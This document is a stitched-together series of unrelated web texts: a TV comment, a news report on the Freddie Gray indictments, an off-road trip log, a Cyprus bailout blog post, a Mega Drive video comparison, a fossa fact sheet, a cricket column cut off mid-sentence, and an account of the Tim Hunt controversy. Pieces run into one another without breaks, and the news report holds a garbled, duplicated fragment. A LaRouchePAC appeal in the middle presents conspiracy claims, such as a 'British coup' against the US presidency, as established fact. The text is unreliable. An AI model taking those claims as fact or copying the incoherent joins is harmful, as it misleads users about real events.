I would have liked to see Matt Murdock’s trademark red hair on the character. But for some reason, nowadays all male TV superheroes are brunette with beard stubble. Even the blond and ginger ones. Nonetheless, I’ve been reading Daredevil comics since the mid-1970’s, and this is him. The Man Without Fear.
I’m hooked.(CNN) Six Baltimore police officers were indicted Thursday on charges connected to the death of Freddie Gray.
The indictments came after prosecutors presented evidence to a grand jury for two weeks, Baltimore City State's Attorney Marilyn Mosby said.
The six officers face charges that, if they are convicted, could lead to decades in prison, based on their alleged actions that day. Among them: Illegal arrest, misconduct, assault and involuntary manslaughter.
Officer Caesar R. Goodson Jr., who prosecutors say was driving the van used to transport Gray after his arrest, faces the most charges, and the most severe: second-degree depraved heart murder.
, and several other allegations have been removed. The list of charges in the indictments the grand jury returned differs slightly from charges Mosby announced earlier this month; all six of the officers now face charges of reckless endangermentand several other allegations have been removed.
"As our investigation has continued, additional information has been discovered, and as is often the case during an ongoing investigation, charges can and should be revised based upon the evidence," she said.
JUST WATCHED Baltimore police officers indicted Replay More Videos... MUST WATCH Baltimore police officers indicted 02:22
Mosby didn't take questions at the press conference and didn't go into details about what additional evidence had come to light.
The officers are scheduled to be arraigned on July 2, she said.
Attorneys for the officers have called for Mosby to be taken off the case, arguing that she has conflicts of interest -- an accusation Mosby denies.
In a statement after the officers' indictments, the police union called for the community to support police, noting that thousands of men and women in the department protect and serve the city's neighborhoods
"All citizens are innocent until proven guilty, including these six officers," Baltimore City Fraternal Order of Police President Gene Ryan said.
A lawyer representing Sgt. Alicia White, who faces charges of involuntary manslaughter, assault, misconduct and reckless endangerment, denied the accusations.
"I look forward to trying this case against Marilyn Mosby herself and proving Alicia White is innocent," attorney Ivan Bates said.The first week in December allowed for a three day mini-escape to the Mystery Creek area, west of Harrison and north of Chehalis Lakes. For readers not familiar with the area, this is one of the more popular road systems closer to Vancouver, BC. Previously you could complete a loop via the Chehalis FSR, Mystery Creek FSR and the Harrison West FSR systems – however an unprecedented rock slide occurred 10 years ago on the side of Mt Orrock. The slide rumbled into Chehalis Lake, creating a 10m tall tsunami which obliterated three BC Rec Site campgrounds (one was 7 km away at the other end of the lake!) as well as took out the vegetation around the rim of the lake, up to 30 feet up each shore!
The slide also took out almost a kilometer of the road, blocking off access to the north end of the lake. The only way to access the remnants of the Chehalis North Rec Site is via West Harrison FSR, which is where we started our journey.
The Harrison River wetlands were wild looking that morning:
Along for the adventure was Andrew in Xena, his mechanically stock ’99 4Runner. Xena won’t be stock for long, but with high clearance and a rear locker from the factory, Xena is plenty capable.
We aired down to 20 psi in the Endurance (Sequoia), and to 25 psi in Xena. Loaded with camping gear for three days, both trucks ran smooth on the abused industry road. Traffic was light though, despite being a Sunday, and we took our time to enjoy being out in the bush.
The snow line was still around the 400m level and we enjoyed ice-free gravel for most of the trip.
I enjoy admiring my sticker collection. Other than a few product and club stickers, only stickers of places we’ve actually been, get put up.
We made the side trip on the unmarked turn off down to the beach at Ten Mile Bay. Plenty of garbage as usual… gotta go further for a clean camp site. The road down and back up was fun to play around on though.
Andrew scoping out the way (he got wet):
A few more:
We then made our way over to Hale Creek, although neither of us had ever been down to the bottom. We picked a route heading downhill to see where it would go.
This turned into the so-called hard route. It was not so bad near the top and we enjoyed working our way down.
We were almost at lake level when we came to the part where a creek had taken over the road, with the water still running down the middle.
I radioed back to Andrew and he walked up to see what we were dealing with. Not looking for carnage, we agreed turning around was best. Maybe the other way down would be better? Well turns out it was supposed to be better, but the cross-ditches kept getting deeper. One particular ditch looked like it would give us trouble. After watching a Dodge P/U smash it’s front bumper on approach, and drag/scrape it’s rear bumper climbing out, again we opted to turn around. This was supposed to be a camping trip after all!
We setup camp in a small clearing and sat under the canopy as it started to rain. I raided my shop’s wood stove firewood cache before leaving, which allowed us to get a nice fire going. Cheese smokies and rootbeer!
Day two had us going up the Mystery Creek road and playing in the snow a bit.
We finally made it down to the north end of Chehalis Lake and checked out the remnants of the rec site.
The roads and remnant of camp sites and outhouses were scattered all over the place. Most of the roads were eroded by the Chehalis changing paths and flooding through the gravel plain. The area was really cool though and we enjoyed checking it all out.
We picked a camp spot where have of the existing fire ring had fallen 8 feet down into the river on the eroding bank. We made another, and settled in to camp.
Lamb steaks, ceasar salad and blueberry pie… It was another good night and a great fire.
…until 630AM when a mouse ran across Andrew’s face while he was sleeping in his truck. The yelling and door slamming woke me up, so we just started the day early with another fire and plenty of coffee.
For Day 3 we explored some side roads and just generally goofed around in the snow.
It was interesting to see where the rear locker/street tire 4Runner compared traction wise with the open diffs (centre “locker”) and duratrac combination of the Sequoia. I think when the 4Runner gets some more clearance and mud terrains, it will definitely outshine the Sequoia off road. Perhaps it’s time for a rear locker…
We finished off the day just cruising back to civilization and enjoying the views.
We made it back to pavement without drama, aired up and finished off our trek at Rocko’s 24-hour diner in Mission, BC. The mouse in Xena was finally caught later that day, and the trip was deemed a total success!Nothing like dramatic proof that austerity is a failure. Less than one month forcing Cyprus to take a “bailout” (which in reality was paid for entirely by the Cypriots) under the threat of effectively throwing them out of the Eurozone, a leaked Debt Sustainability Report shows that that the Troika will demand another €6 billion from Cyprus, increasing the total cost from €17 to €23 billion. From the Guardian:
Cypriot politicians have reacted with fury to news that the crisis-hit country will be forced to find an extra €6bn (£5bn) to contribute to its own bailout, much of which is expected to come from savers at its struggling banks. A leaked draft of the updated rescue plan, which emerged late on Wednesday night, revealed that the total bill for the bailout has risen to €23bn, from an original estimate of €17bn, less than a month after the deal was agreed – and the entire extra cost will be imposed on Nicosia.
The worst is, as Pawel Morski demonstrated in an impressive shred of the Debt Sustainability Report is that it is ludicrously optimistic in terms of how the economy will fare with Germany having decided to kill the Cypriot international banking sector (this while the EU is funding advertising for Bulgaria, which is low tax jurisdiction, the very sin Cyprus was guilty of):
1) the economic forecasts are worse than literally laughable (table). The drops in consumption and investment look dementedly optimistic given the events of the past month. Exports to drop a mere 5% with the destruction of the banking industry and the introduction of capital controls. The wealth effect wiping deposit worth 60% of GDP will apparently barely register on consumption – the Troika must think the deposits are all Russian. Compare with Iceland (50% drop in investment) or Latvia (40%), the former boosted by devaluation the latter by an intact financial system. Public consumption drops 9% – Iceland held the line here, and we have bitter experience from Greece on how big fiscal multipliers are. These projections cross the line from wild optimism into contemptuously half-hearted fable. This table is a bare-faced lie.
So get this, sports fans: not only did the Eurocrats underestimate how badly their little program would hurt the economy, they are continuing to underestimate how brutal it will be. Morski notes later:
The banking sector shrinks. The domestic banking industry shrinks at a stroke from 550% of GDP to 350% by a deft combination of taking people’s money and stripping the Greek operations (120% of Cypriot GDP) out and selling them to Pireaus. Given that the Greek operations were to a significant degree responsible for the disastrous GGB trades that wiped out the banks, and given that Pireaus stock rallied sharply afterwards, the Cypriots find themselves in the position of the Blackadder character who not only had a relative murdered, but had to pay to have the blood washed out of the murderer’s shirt. (excellent stuff here on how the Cypriot banks blew up, based on leaked documents).
Of course, this means at a minimum, that uninsured depositors in Laiki and the Bank of Cyprus will not get any money back.
The Troika is also demanding that Cyprus sell 2/3 of its gold. That’s a mere €400 million; this looks like gratuitous punishment, to make it clear to Cypriots that they are being reduced to penury….for what? Ambrose Evans-Pritchard argues that it is long-awaited payback (emphasis mine):
It is an interesting question why Cyprus has been treated more harshly than Greece, given that the eurozone itself set off the downward spiral by imposing de facto losses of 75pc on Greek sovereign debt held by Cypriot banks. And, furthermore, given that these banks were pressured into buying many of those Greek bonds in the first place by the EU authorities, when it suited the Eurogroup. You could say that this is condign punishment for the failure of Cyprus to deliver on its side of the bargain on the 2004 Annan Plan to reunite the island, divided by the Attila Line since the Turkish invasion in 1974.
Greek Cypriots gained admission to the EU on the basis of a gentleman’s agreement, then resiled from the accord. President Tassos Papadopoulis later deployed the resources of the state to secure a “No” in the referendum on the Greek side of the island. No wonder the EU is disgusted. But there again, Greece behaved just as badly. It threatened to block Polish accession to the EU unless a still-divided Cyprus was admitted, much to the fury of Berlin.
The Cyrpiots appear to be rebelling a bit against the Eurozone authorities again, despite the fact that the response last time was to rough the islanders up even more. The Financial Times reports that the ECB is ordering Cyprus not to fire the head of its central bank:
Mario Draghi, president of the European Central Bank, has warned the Cypriot government against sacking Panicos Demetriades, the central bank governor, over his handling of Cyprus’ worsening financial crisis.
In a letter addressed to the Cypriot president and speaker of parliament, the ECB head underscored the independence of EU central banks, adding that the launch of procedures that could lead to a governor’s dismissal marked “a very serious step”. A decision to remove the governor would be subject to review by the EU court of justice, he said… The Cyprus parliament’s ethics committee said on Wednesday it would investigate Mr Demetriades’ record in the year since his appointment to determine whether he had acted against the public interest by failing to avert the collapse of Laiki Bank, the island’s second-largest lender. If the committee rules against him, the Cyprus attorney-general would decide whether Mr Demetriades should be indicted on criminal charges. The rift between Mr Demetriades and the government appeared to widen further on Thursday when a central bank spokesperson said the bank, not the finance ministry, should decide on the sale of gold reserves to help finance Cyprus’s €13.5bn contribution to a €23.5bn international bailout.
Someone might tell Draghi it isn’t clear whether Demetriades is being pushed or jumping (hat tip Antonis):
While the speed of the retrade of the Cyprus deal is dramatic, it is hardly alone in having targets fail to be met because austerity is counter-productive, leading to additional bailouts and even more exquisite economic tortures, necessitating yet more bailouts. Greece is up to three. The Troika is recommending restructuring Irish and Portuguese bailout loans by extending their maturity seven years, but it’s not clear that this will be enough to keep Portugal from needing a second rescue. Slovenia looks like an early stage Cyprus. The Netherlands have gone wobbly. And of course, Spain and Italy are on the “bailout soon” list too, but they’ve held out due to understandable reluctance to accept “conditionality” aka loss of sovereignity, complicated in Italy by the usual government instability and the rapid rise of anti-Eurozone politicians.
And that’s before we see whether the rough handling of Cyprus leads to a resumption of the slow-motion run on banks in the periphery, as those who can shift balances to banks in the Germany and safer havens. But not to worry, all those Eurobanks passed stress tests, so everything is fine, right? Unfortunately, we may find out sooner than we’d like.Video captures comparing RGB and NTSC composite
This is Page 2 (Mega Drive). Click here for Page 1 (Other systems).
A couple of years ago, I took a cheap USB video digitizer out of storage to play with it, and figured out a way to capture RGB video from my various game systems. What I did was jerry-rig the digitizer, which normally accepts either composite or S-Video, to take as a luminance signal one of the R,G,B channels paired with a sync signal. This made for a stable image which could be captured for each of the R,G,B channels in sequence. For game systems that output only composite+sync, I had to separate the sync signal using an AV Demiro box which contained a sync stripper. The quality of the captures is quite good, with only a small amount of visible noise in solid colour areas. Anyway, capturing RGB and composite using this method eliminates the need to take photographs of television or monitor screens, with no warping or phosphors getting in the way. Thus, much more direct comparisons between video outputs can be made as you can see below (by hovering your pointer over the images...) If you have any requests for specific game screens that you'd like to see compared in this way, send me a mail!
Sega Mega Drive
The Mega Drive gets its own page because of its notoriously bad composite video. Once I set up my digitizing equipment and took snapshots of a few games, I just got carried away and took pics of many of my favourite games. Or, I took pics of especially egregious examples of just how much the MD muddles, blurs, and confounds the composite video display to the dismay of its hapless users.
RGB video out of the Mega Drive is extremely crisp; however, it does have two disadvantages when capturing it: 1) The RGB channels have high voltage/current, so they're way too bright for a regular monitor and have to be brought down to normal levels with a resistor. Because they vary between high and low voltages quite quickly, digital->analogue "bounce" can be seen as ghosting following a particularly bright pixel. My RGB monitor doesn't suffer from any of this ghosting, but my capture card does, alas. Check out the Altered Beast ingame pic for some of this bounce in RGB.
2) One strange affliction of the MD's RGB is that the blue channel has vertical bands in the signal, running all the way down the screen. Everybody complains about it; nobody knows why the MD does this. Check out the blue shadows in the title screen of Altered Beast to see an example of this oddity.
Batman was used by EGM / Mega Play magazine to illustrate the superiority of RGB. This same scene in the game continues to this day to be a great example.
Dithering: You either love it or hate it. For a low-colour system that can't do transparencies (like the MD) dithering is a necessary evil, and the composite display of the MD conveniently blurs almost all evidence of dithering. RGB might come as a shock to some because all the dithering is laid bare.
Therefore... it takes real skill to draw stunning graphics without resorting to any dithering, like Henk Nieborg has done with Flink.
Hyper-saturated colours, especially visible in reds and yellows, cause terrible fringing & colour smear through composite.
Look at how the weapon text is just decimated in Midnight Resistance!
Even way back in 1989, I was constantly amazed how realistic-looking the ninja in the title screen was. Why couldn't later games with digitized graphics look this good?
Socket, a shameless Sonic rip-off, uses plenty of vertical-only dithering in gradients and to achieve a transparent effect in composite.
...unfortunately a side-effect of this vertical-only dithering ("transparency"), besides smearing, is a nasty rainbow effect:
That's all for now! I hope you enjoyed my extended visual rant on the shittiness of Mega Drive composite video!About the Fossa
A relative of the mongoose, the fossa is unique to the forests of Madagascar, an African island in the Indian Ocean. Growing up to 6 feet long from nose to tail tip, and weighing up to 26 pounds, the fossa is a slender-bodied catlike creature with little resemblance to its mongoose cousins.
Predator Adaptations
It is the largest carnivore and top predator native to Madagascar and is known to feed on lemurs and most other creatures it can get its claws on, from wild pigs to mice. Unlike mongooses, and more like felines, the fossa has retractable claws and fearsome catlike teeth. Its coat is reddish brown and its muzzle resembles that of a dog.
The fossa is also equipped with a long tail that comes in handy while hunting and maneuvering amongst the tree branches. It can wield its tail like a tightrope walker's pole and moves so swiftly through the trees that scientists have had trouble observing and researching it.
Life in Madagascar
The elusive fossa is a solitary animal and spends its time both in the trees and on the ground. It is active at night and also during the day. Females give birth to an annual litter of two to four young, and adulthood is reached after about three years.
Madagascar is home to an enormous variety of plant and animal life, and a number of species are unique to the island—including over 30 species of lemur, the fossa’s prey of choice. Explorers first arrived on the island some 2,000 years ago, and scientists believe that they would have been met by a bizarre assemblage of now-extinct beasts, including lemurs the size of gorillas and a ten-foot-tall flightless bird.Lyndon LaRouche, speaking about the implications flowing from a Memorandum released last week by the Veterans Intelligence Professionals for Sanity, and the Russian sanctions bill passed by Congress almost simultaneously, called for immediate action by the American people to avert the British plan for war with Russia and China to which the Congress of the United States has capitulated. “The American people must demand that the ongoing treasonous British coup against the Presidency and the nation itself be stopped and its perpetrators prosecuted and imprisoned,” LaRouche said. The British system which has controlled the United States “must be cancelled and the President must make every effort to save the people of this country and the rest of humankind from further British directed depredations against their lives. Cancel the British system, save the people,” LaRouche said.
Last week, the British directed Russia-gate myth about interference in the U.S. election imploded when the VIPS proved that it was an elaborate hoax. The Democratic National Committee was not subject to a Russian hack. Instead materials were leaked by an insider at the DNC and forwarded to Wikileaks. Key data was altered to make it appear that the Russians hacked the DNC. At the same time, the brainwashed and/or bought U.S. Congress voted almost unanimously to impose major sanctions on Russia based on this fraudulent hoax. There were two dissents in the U.S. Senate, three in the House. The sanctions, in the works ever the November 2016 elections, are explicitly designed to cripple and/or end any ability of President Trump to bring an end to the march toward thermonuclear conflagration instituted by Barack Obama and his British controllers.
Over the weekend, the response by Russia and China was immediate. President Xi Jinping appeared in military fatigues reviewing Chinese troops and weapons; President Putin engaged in a similar very large military review. They clearly have begun to think that Donald Trump has been completely captured by the Anglo-American war machine and are preparing accordingly. The clock is now ticking ominously again toward World War III.
In discussions with colleagues today, Helga Zepp LaRouche emphasized that the British are desperately trying to lure the United States into a war with Russia and China from a position of weakness, not strength. Their financial empire is teetering on the verge of a major new financial collapse far worse than 2008. The President must be given popular and institutional support to appoint a Special Prosecutor to investigate the entire hoax which is Russia-gate and to prosecute its conspirators. The President also must immediately impose Glass Steagall banking separation and proceed to implement the balance of LaRouche’s Four Laws for economic recovery simultaneously in order to protect the people, the forgotten men and women he championed in the last election.
LaRouchePAC has prominently featured the VIPS memo on our website, in our street deployments throughout the United States, and on social media. We are on a campaign to break this story widely and to embolden the President to once again defy the British swamp in Washington as he did in forging close relationships with President Xi, and in Hamburg, with President Putin. Now we must bring Russia-gate to a screeching halt and prosecute the conspirators behind it. We need to expand our campaign dramatically this week and we need you to join us. Quite literally, all of our lives depend on the success of this venture.
The context for the insurrection against Trump could not be clearer. The British and their Wall Street lackies want to preserve their Empire. Russia and China are rising economic powers devoted to the types of economic policies which once made America great–large scale infrastructure, manufacturing, advanced scientific research and exploration of space. They have asked the U.S. to join them in a great project to build the modern infrastructure for the world of the future 50 years, and the President originally signaled his intention to do so and still may do so, bringing thousands of new productive jobs to the U.S. But, this cannot happen if the present British Wall Street/City of London imperial regime and its accompanying Washington D.C. foreign policy consensus is not uprooted and destroyed. The British swamp is what must be drained.
First and foremost, we are calling on everyone who voted for the President or cares for their future existence to let him know that they will overwhelmingly support the lifting of sanctions on Russia because they are an act of fraud. Every step must be taken for positive relations with Russia and China. President Trump should task his intelligence agencies to investigate and disclose the actual conspiracy involved in the Russia-gate hoax, bringing to full public view the role of Barack Obama, Obama’s intelligence personnel, British security agencies, and leakers in his own apparatus. Call the White House today, 202-456-1111.
Second, we need you to attend any town halls or other events involving your Congressman or Senators during the August recess. Tell them that you want Russiagate stopped and its perpetrators prosecuted. The sanctions must be rolled back. The British government’s role in attempting regime change in the United States should be the object of investigation. This is a non-negotiable demand, not a plea. Find your town halls here.
Third, we are calling on the President to demand the appointment of a Special Prosecutor to investigate the entire Russia-gate hoax. It is a criminal insurrection against the President of the United States and the people, an insurrection which appears to be headed now to a war which would obliterate the human race.Steyn: spine-tingling, edge-of-the-seat stuff © Associated Press
There must be a reason why South Africa are knocking teams over for scores normally seen in the first round of a local inter-school tournament. And, in relative terms, finishing matches as quickly. Quite apart from having four batsmen (Graeme Smith, Hashim Amla, Jacques Kallis and AB de Villiers) who might feature in their all time top ten (now there's a list in itself!) they have three bowlers - Dale Steyn, Vernon Philander and Morne Morkel - who between them take a wicket every seven overs, and are forming a team that threatens to be among the best in recent times (my vote for the last similar trio is Glenn McGrath, Brett Lee and Jason Gillespie).
The leader of their attack sends a tingle down the spine of most batsmen and makes spectators sit on the edge of their seats. It is human nature to underrate the present and grossly overrate the past, but if you outlaw that trait, the time has come to place Steyn among the greatest fast bowlers of the game.
He's going at over five wickets a Test (323 from 63), averages under 25 (22.67) and takes a wicket in less than 50 balls (40.8). Those numbers for bowling averages and strike rates are acknowledged to be possessed by the best, and if you add another cut-off (25 Tests, to take away the anomaly of one or two great years only), he makes the top ten on any criterion. (In the lists that follow, I looked at bowlers since the Second World War, since the numbers of those who played before then are terribly skewed, almost suggesting that batsmen took a bat along like a senior citizen might a walking stick: only in case of an emergency!)
So looking purely at strike rates the hall of fame for fast bowlers has Dale Steyn, Waqar Younis, Shoaib Akhtar, Malcolm Marshall, Allan Donald, Colin Croft, Fred Trueman, Joel Garner, Richard Hadlee and Michael Holding. And if you choose the bowling average as your preferred indicator, the list changes, but only somewhat. Alan Davidson, Malcolm Marshall, Joel Garner, Curtly Ambrose, Neil Adcock (perhaps he wasn't mourned as much as he should have been: 104 wickets at 21), Fred Trueman, Glenn McGrath, Allan Donald, Richard Hadlee and Dale Steyn. Only one player who is on both lists is playing today, and he is enriching our game.
There are few sights more thrilling in sport than a fast bowler in full flow running in. And thrilling is only one of many words you could use to describe Steyn when he is in rhythm.
He doesn't look like a gym addict. Indeed, he is more Daniel Craig than Hulk Hogan - wiry and athletic. As were Brett Lee and Malcolm Marshall. And every time I see him, I am reminded of what Michael Holding told me about fast bowling many years ago. He had asked if he could borrow my t-shirt to do a piece to camera (on-air branding, remember!) and when I expressed surprise that a fast bowler should fit into my t-shirt, he reminded me about how fast bowling was not about size but about rhythm. ("Never wore an 'L', Haasha, never," he laughed.) The days he bowled at his quickest was when he didn't realise he was bowling quick, he said.
It is so with Steyn too. Possessed of an action that doesn't place too much strain on him and is easily reproduced, he allows himself to get |
a journalist from Mexico, published an article on the affair on 18 June where she quoted Hunt’s comments about his trouble with girls and segregated labs, adding that it ‘ended with an auditorium in silence and some laughs.’
We asked what her reaction was:
‘I got angry. I can’t understand how this Nobel laureate could say that in a lunch organized by a women science organization!!’
Mexican scientist Rodrigo Pérez Ortega said that he remembers Hunt introducing himself as a ‘chauvinist pig’ and then moving on to discuss his ‘trouble with girls.’
‘I was completely baffled because I could not believe a top scientist would say that IN 2015, IN a Science Journalism Conference, IN a lunch sponsored by the KOFWST. But he did. I would guess my reaction then, and also now, would be of sheer disappointment, being a scientist myself.
‘I would like to believe the comments were a joke, but honestly, in my opinion, they weren’t. Renata (Sanchez) and I did discuss it afterwards and agreed that although it was meant to be a joke (I want to believe), it was bad taste to say it in that lunch specifically.’
Was St Louis report accurate? ‘Yes! 100% yes!’
Finally, Serbian journalist Milica Momcilovic was another present who wrote about the lunch, in an interview with Deborah Blum. She also confirmed that St Louis account was correct.
‘At that very occasion his comments were really inappropriate, not funny at all and made us feel embarrassed sitting there.’
All these men and women were from different countries and work for different publications and broadcast outlets. Some will have known each other. Others will have met at the conference for first time.
But one thing is clear: this was not an international conspiracy of science journalists.
The KOFWST and Other Korean Scientists in Attendance
A number of prominent Korean female scientists were also present. Among them was Professor Hee Young Paik, President of the Korea Federation of Women’s Science and Technology Associations (KOFWST) who sponsored the lunch, and said a few words herself before Hunt. Her name appeared on the cover letter of a statement issued by KOFWST on 16 June, demanding that Hunt apologise:
Dear Sir Tim Hunt,
We, the members of the Korea Federation of Women’s Science and Technology Associations (KOFWST), the sponsoring organization of the WCSJ luncheon on June 8, 2015, have decided to request your official acknowledgement and apology for the remarks made at the luncheon. Attached, please find, our call for apology. We hope to get your response within 24 hours [emboldened in original]. Your prompt and sincere apology is the least we can ask for any future collaboration with Korean scientists.
Yours sincerely,
Hee Young Paik, President
This is an excerpt from the demand for apology:
‘As women scientists we were deeply shocked and saddened by these remarks, but we are comforted by the widespread angered response from international social and news media: we are not alone in seeing these comments as sexist and damaging to science.... Although Dr. Hunt is a senior and highly accomplished scientist in his field who has closely collaborated with Korean scientists in the past, his comments have caused great concern and regret in Korea. They show that old prejudices are still well embedded in science cultures. On behalf of Korean female scientists, and all Koreans, we wish to express our great disappointment that these remarks were made at the event hosted by KOFWST.’
Hunt responded with a ‘heartfelt’ apology, albeit one that implicitly blamed the audience for their erroneous ‘interpretation’ and failure to understand his ‘self-deprecating joke’:
‘I am extremely sorry for the remarks made during the recent “Women in science” lunch at the WCSJ in Seoul, Korea. I accept that my attempts at a self-deprecating joke were ill-judged and not in the least bit funny. I am mortified to have upset my hosts, which was the very last thing I intended. I also fully accept that the sentiments as interpreted have no place in modern science and deeply apologize to all those good friends who fear I have undermined their efforts to put these stereotypes behind us.’
Though this was not released widely until 16 June, Hunt had written his apology by 12 June, because excerpts from it ran in The Observer of 14 June, published online the evening before. The author of that article, Robin McKie, has confirmed it was supplied to him by Hunt, not KOFWST.
Initially, Hunt’s champions claimed that the statement was meaningless because no one knew if Hee Young Paik had attended the lunch. She did attend, as she confirmed to us in an email in which she also clarified how the letter to Hunt came about:
‘I can confirm I was at the lunch with some members of KOFWST. Our letter to Sir Tim Hunt was based on discussions among KOFWST members, some of whom were also at the lunch, who shared the opinion that the sufferings of women scientists should not be the subject of jokes in any context. We therefore requested that Tim Hunt acknowledge his mistakes and make an apology, which he immediately did following our communication.’
In her tweets and blogs, Louise Mensch has accused Blum and other Western journalists of coercing the Korean women into writing the letter. She has gone so far as to make the baseless allegation that Blum wrote the apology demand in English before it was translated into Korean. This does Paik a grave insult: she is a Professor at Seoul University, and a successful scientist who also served for two years as the Minister of Gender Equity of South Korea. Hunt certainly believed the communication to be genuine; he sent an apology immediately after receiving it.
Paik’s email testimony disposes of the notion that KOFWST were pressured by a small group of science journalists. The decision to demand an apology came about, as she states, after discussions among their members, ‘some of whom were also at the lunch.’ The letter was issued on behalf of KOFWST’s membership (which numbered 61,000 female scientists from 54 organizations as of 15 May 2015), ‘Korean female scientists, and all Koreans.’
The KOFWST members in attendance besides Paik, as presidential signatory, are not named. While they cannot be neatly quantified, they can hardly be discounted. KOFWST had invested considerable funding as the official sponsor of the luncheon (The WCSJ 2015 sponsorship prospectus sets the price for a luncheon at $15,000) and it is reasonable to assume that a good number of their own members attended.
Another distinguished Korean female scientist in attendance at the lunch has gone almost unnoticed until now: Professor Heisook Lee, President of Korea’s Center for Women in Science, Engineering and Technology (WISET), whose members and their contribution to science Hunt was supposed to be toasting. She is reported as saying:
‘By making these comments, Sir Tim Hunt has overlooked the talents of girls and women in science, but also the fact that sex and gender bias in research is costly and harmful. Sir Hunt’s speech shows that some eminent scientists like him have never been exposed to issues on gender diversity or gendered innovations at all. These discussions should reach all scientists, if not, we risk losing female science talents, and risk having imperfect research outcomes that do not consider both genders.’
Dissenting Eyewitnesses
In contrast to all these reporters and scientists, Louise Mensch initially named five dissenting eyewitnesses at the lunch who challenged St Louis’s version of events: Russian journalist Natalia Demina, Timothy Dimacali and Shai Panela from the Philippines, Shiow Chin Tan, from Malaysia, and Spanish journalist Pere Estupinyà. She quoted all five in her blog of 7 July, “The Tim Hunt Reporting Was False. Royal Society, Please Give Him Due Process.”
Mensch heralded Shai Panela as the only eyewitness to tweet from the lunch in Seoul on 8 June that Hunt acknowledged women science journalists, but omitted her later tweet stating ‘at least he‘s honest that he was known for being sexist.’ She was later obliged to remove Panela when she said: ‘For the record, I believe that sexism exists in science. Tim Hunt’s reckless remarks triggered the start of the discussions about it.’
Shiow Chin Tan tweeted from Seoul, on 9 June: ‘Sorry to butt in, but I was there, and IMO, he was joking.’ Tan added details in three further tweets not recorded by Mensch:
‘He did add that if single-sex labs were implemented, men would be the worst off for it. And both men and women were to blame for the falling in love bit. But I suppose this is one of those matters of perception.’
To our knowledge, Tan is the only eyewitness who mentioned ‘men would be the worst off for it’. Contrary to claims by Jonathan Foreman in his piece in Commentary magazine that she had asked Hunt about it afterwards, Tan confirmed to us that Hunt had made the comment during his lunch toast.
In an email originally to Natalia Demina, forwarded on to Louise Mensch (Tan passed the text to us, too), she wrote:
‘I remembered, more or less, what Tim Hunt said. He started with saying he was a male chauvinist pig, and then went into the whole “Here’s my problem with girls….” including the bit about falling in love in the lab and girls then crying if they are criticised, as well as the bit about separating the genders in the lab, which Connie St Louis from City University originally posted.’
She believes that Hunt’s comments were said in a light-hearted and joking manner ‘and (he) certainly did not mean them seriously at all.’
We also asked if she believed that St Louis’ report was accurate. She replied:
‘I thought that Ms St Louis was literally accurate in her quotes of Sir Tim, but she certainly failed to include his subsequent comments that provide a different context to what she reported him as saying. That, I felt, was wrong, and definitely contributed to the controversy.’
Demina was next to tweet, on 10 June: ‘Everybody who heard T.Hunt’s speech yesterday [sic: 2 days ago] understood that he was joking. For those who not: guys, there is u sense of humour?’
Pere Estupinyà told us that Mensch had quoted him correctly in her blog but had ‘skipped his references to how inappropriate the joke was.’ He went on to say:
‘Tim Hunt indeed made sexist comments, but in an humorist tone. He was clearly inappropriate and sexist in a very old-fashion way.’
On his Facebook page, Dimacali (misnamed ‘Dincali’ in Mensch’s blog) also criticized Hunt’s comments as ‘misinformed and tactless’ (11 June), and added ‘good for him that he took responsibility for the comment.’
On 18 June, he wrote:
‘As I keep telling people, he said it in a very lighthearted manner with no outward hint of malice, condescension, or derision. I’m not defending him, mind you; what he said was wrong and definitely deserved to be called out (our emphasis). But it was, more than anything else, a joke gone horribly wrong.
The entire thread of 18 June, on which this comment featured, disappeared from the public timeline on his Facebook page on or about 1 November. Here is our screenshot of his comments:
The same comment appears in Mensch’s blog of 7 July, but, as with Estupinyà, shorn of the damning comments: ‘I’m not defending him, mind you; what he said was wrong and definitely deserved to be called out’:
Mensch has in fact conflated two separate comments of Dimacali into one, deleting the unfavourable bits. Here is the second:
Thus, of Mensch’s initial five eyewitnesses, only two — Natalia Demina and Shiow Chin Tan — found Hunt’s comments innocuous and inoffensive. And one of them admitted she hadn’t paid attention. In her blog, Mensch passes over in silence Demina’s comment: ‘I didn’t even pay much notice at what he said’, as well as her remark to Sergei Dobynin of Svoboda: ‘There were also those who did not perceive it as innocent, but all more or less agreed on the fact that Hunt made an unfortunate joke at an unfortunate moment — at a lunch which actually was devoted to women in science.’
Not all eyewitnesses we spoke to spared St Louis from criticism. Estupinyà said ‘the whole thing was an absurd exaggeration.’ Satu Lipponen felt the tweet went too far:
‘Most of this tweet is true but Connie exaggerates, the lunch was not “utterly ruined”… I think the content was fairly accurate but the tone of her tweet too aggressive to describe what went on.’
While many people there did have their lunch ruined by Hunt’s remarks, some did not, either a) because they were not offended or b) didn’t hear properly — whether owing to faulty translation, linguistic barriers, distance from the speaker, or sheer distraction or inattention. To assert, as she did in a later BBC interview — though not in her tweet as has been suggested — that the audience sat in ‘deathly silence’ at the end was clearly a subjective view based on her proximity to Hunt at the front of the room. Many did refuse to clap and some laughed politely; but the silence was not universal.
Nevertheless, the totality of the evidence from eyewitnesses supports the account of St Louis, Blum, and Oransky as tweeted by St Louis.
The Reaction in Seoul
As soon as the lunch was over, the conference was abuzz with news of Hunt’s comments. Argentinian journalist Javier Cruz told us:
‘As soon as it happened, the Tim Hunt affair basically hijacked most of the rest of the Conference in terms of dominating the conversation during coffee breaks and bus shuttles to and from the venue.’
Mohammed Yahia, from Cairo, the executive editor of Nature in the Middle East, tweeted a similar comment from Seoul, two hours prior to the airing of BBC Radio4 Today Show’s interview with Hunt:
‘Everyone I meet today is talking about Tim Hunt’s sexist remarks at #WCSJ2015 yesterday. I missed that session but am still in shock at him!’
Yahia drew attention to an earlier Tweet from Ginger Pinholster, of the American Association for the Advancement of Science (AAAS), announcing the withdrawal of an invitation for Hunt to speak on a webinar about persevering in science:
‘Tim Hunt will not take part in the webinar. The invitation has been withdrawn.’
We asked Pinholster how this decision came about. She told us:
‘On June 9, we became aware, initially via Twitter, of his remarks at the World Conference of Science Journalists. An e-mail was sent the same day to Dr. Hunt, withdrawing the invitation. The reason given to him was that his remarks would distract from the purpose of the event, which was to encourage early-career scientists and engineers to persevere. Science and its publisher AAAS have a lengthy history of support for women in science. Dr. Hunt responded on June 10 to say that he understood.’
Laura Helmuth, science and health editor at Slate magazine, gave us a similar report:
‘Shortly after the lunch, multiple journalists who had been in the room told me about Tim Hunt’s statements. They spoke to me independently, each of them using the same language in quoting Hunt’ she said. ‘The journalists who recounted his statements to me are some of the most careful, reliable, precise, experienced reporters in all of science writing. They didn’t make it up or exaggerate or misrepresent what happened.’
Deborah Blum’s Interview with Hunt
